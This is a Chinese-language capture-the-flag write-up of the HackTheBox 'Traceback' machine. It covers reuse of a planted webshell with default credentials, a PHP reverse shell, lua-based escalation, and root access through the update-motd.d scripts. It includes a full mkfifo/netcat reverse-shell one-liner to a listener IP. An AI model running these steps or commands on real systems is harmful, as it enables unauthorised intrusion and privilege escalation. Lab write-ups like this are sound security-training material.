题目 Traceback
进入
谁放的后门?
先 http
访问题目地址,可以看到这里已经被人放了后门了:
提示黑客ID
是 Xh4H
,Google
一下:
可以搜到他的github
、博客和Twitter
,直接进github
看一下,可以看到有个项目是 Web-Shells
:
进入之后可以看到很多的 shell php
,因为数量不多,直接一个个的手动试一下路径就好,最后发现有个smevk.php
存在:
使用 github
默认的账号密码 登录即可进到 shell
php reverse_shell
登录上去之后可以看到当前shell
展示的信息如下:
1 | Uname : Linux traceback 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 |
这里的 shell
也可以执行命令,但是操作不方便,所以利用上传功能传一个php_reverse_shell.php上去,修改其中对应的ip
和port
,上传之后本地nc
监听,浏览器访问对应上传的文件即可实现反弹shell
提升
webadmin->sysadmin
按照之前的思路,上去先翻翻文件,可以看到 webadmin
的同级目录下还有个 sysadmin
,当前的登录用户没有权限访问,没关系,先切到webadmin
看看文件:
先看看note.txt
:
sysadmin
说放了个练习lua
的工具,让我们去找。打开.bash_history
看看里面的内容:
可以看到这里是用了 luvit
去运行了一个privesc.lua
文件,文件内容不知道是啥,不管文件内容,先运行这段话不指定 lua
文件试试:
可以看到这里没有提示权限不够,而是运行 lua
的错误,所以这里就可以尝试使用 lua
来再生成一个 shell
,而这个shell
的权限就是 sysadmin
了:
sysadmin->root
以sysadmin
权限到对应目录下翻了一下,没有额外的信息,ps -aux
看一下当前的进程,发现 root
用户有这个操作(看了大佬的说明,这里是可以使用pspy
来监控进程信息的,更直观):
1 | bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/ |
意思就是有个每隔 30s
就运行一次的定时任务,任务就是将备份的 .update-motd.d
文件夹下的所有内容复制到 /etc/update-motd.d/
文件夹下,Google
之后可以知道这就是动态 motd
功能,每次用户登录之后就会执行并显示 /etc/update-motd.d/
文件夹下面的内容,这里查看之后发现以 sysadmin
权限只能修改 /etc/update-motd.d/
因此我们就里的提权思路就可以分为如下几步了:
- 写反弹
shell
命令到/etc/update-motd.d/
1 | echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 8989 >/tmp/f' >> 00-header |
这里还遇到一个问题,就是像常规的反弹shell
语句无法成功,后来想起来可以服务器上是有nc
的,所以可以用nc
反弹shell
,但是服务器上的nc
没有-e
参数,在这里找到了利用方法
- 写
ssh
公钥到服务器上
这里有2
个选择了,可以写sysadmin
或者写webadmin
都可以
- 本地监听,利用
ssh
私钥登录服务器 (2+3
这两步操作动作要快,不然就可能被覆盖 )
可以把自己想要执行的命令写到 /var/backups/.update-motd.d/
的某个文件里,然后等到复制操作完成之后发起 ssh
登录即可。
知识点
- 直接使用他人
webshell
,未修改默认密码 php
直接reverse shell
更方便操作.bash_history
的作用(/etc/skel/.bash_logout
文件中添加这行rm -f $HOME/.bash_history
当用户每次注销时,.bash_history
文件都会被删除. )lua
加载shell
update-motd.d
的利用- 使用
nc
反弹shell
参考链接
https://xz.aliyun.com/t/2549#toc-7
https://ca0y1h.top/Target_drone/HackTheBox/10.HTB-Traceback-walkthrough/#HTB-Traceback-Walkthrough